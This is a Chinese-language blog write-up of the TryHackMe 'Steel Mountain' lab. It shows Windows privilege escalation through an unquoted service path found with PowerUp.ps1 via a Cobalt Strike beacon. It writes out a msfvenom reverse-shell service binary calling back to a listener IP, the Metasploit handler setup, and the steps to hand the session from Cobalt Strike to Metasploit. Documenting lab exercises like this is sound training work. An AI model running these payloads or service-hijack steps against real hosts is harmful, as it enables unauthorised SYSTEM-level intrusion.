tryhackme--Steel Mountain

PowerUp.ps1
Powerup是本地特权提升的一些调用方法,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权,也是 PowerShell Empire和PowerSploit 的一部分
本题中我们使用了HFS2.3的远程命令执行漏洞拿到了bill用户的shell
后续使用cobaltStike上传PowerUp.ps1,完成信息收集
主要使用cs的powershell-import将PowerUp.ps1导入,或者也可以使用powershell Import-Module加载脚本
然后使用Invoke-AllChecks命令执行所有脚本来检查:

  • CanRestart表示具有可重启权限,可以通过重启服务触发恶意文件执行;
  • ModifiablePath在这里是C:\,表示当前用户有向该目录追加数据或添加子目录的权限;
  • StartName为LocalSystem表示服务具有最高权限
  • AbuseFunction是PowerUp提供给我们的利用方式,表示可以使用该函数修改服务的可执行文件路径为一个恶意文件路径,从而达到使用LocalSytem权限执行木马的目的。
  • check中的Unquoted Service Paths表示可执行文件路径没有被引号包围,并且包含空格,导致可能被劫持。
beacon> powershell-import /root/桌面/thm/Steel Mountain/PowerUp.ps1
[*] Tasked beacon to import: /root/桌面/thm/Steel Mountain/PowerUp.ps1
[+] host called home, sent: 283596 bytes
beacon> powershell Invoke-AllChecks
[*] Tasked beacon to run: Invoke-AllChecks
[+] host called home, sent: 313 bytes
[+] received output:
#< CLIXML

[+] received output:


ServiceName    : AdvancedSystemCareService9
Path           : C:\Program Files (x86)\IObit\Advanced 
                 SystemCare\ASCService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; 
                 Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path 
                 <HijackPath>
CanRestart     : True
Name           : AdvancedSystemCareService9
Check          : Unquoted Service Paths

------------只保留了部分结果展示------------------------
ServiceName    : IObitUnSvr
Path           : C:\Program Files (x86)\IObit\IObit Uninstaller\IUService.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; 
                 Permissions=AppendData/AddSubdirectory}
StartName      : LocalSystem
AbuseFunction  : Write-ServiceBinary -Name 'IObitUnSvr' -Path <HijackPath>
CanRestart     : False
Name           : IObitUnSvr
Check          : Unquoted Service Paths

[+] host called home, sent: 19 bytes
[+] host called home, sent: 84 bytes
[-] could not open C:\Program Files (x86)\IObit\Advanced                   SystemCare\*: 3
[+] host called home, sent: 66 bytes

AdvancedSystemCareService9服务利用思路

  1. 根据服务名关停服务
sc stop AdvancedSystemCareService9
  1. 使用msfvenom生成可启动的服务木马,木马名称和该服务Path路径中的保持一致
msfvenom -p windows/shell_reverse_tcp LHOST=10.13.30.138 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe
  1. 上传木马到指定路径
  2. msf开启监听,监听设置的的payload类型和生成木马的时候保持一致
msf6 exploit(windows/http/rejetto_hfs_exec) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.13.30.138
lhost => 10.13.30.138
msf6 exploit(multi/handler) > set lport 4443
lport => 4443
msf6 exploit(multi/handler) > exploit
  1. 启动服务。触发恶意软件
sc start AdvancedSystemCareService9
  1. nt authority system权限到手

CS派生会话到msf中

  1. msf
  • 打开msf启动handler监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http(协议与cs一致)
set lhost xxxxxx   (本机ip)
set lport xxxx     (本机端口)
exploit
  1. CS
  • 新建一个监听器
Payload: Foreign HTTP
HTTP Host: msf的lhost
HTTP Port: msf的lport
  • 在主机右键-->派生会话-->选择监听器 或者可以输入spawn 监听器名
posted @ 2023-07-28 14:15  墨宸  阅读(54)  评论(0)    收藏  举报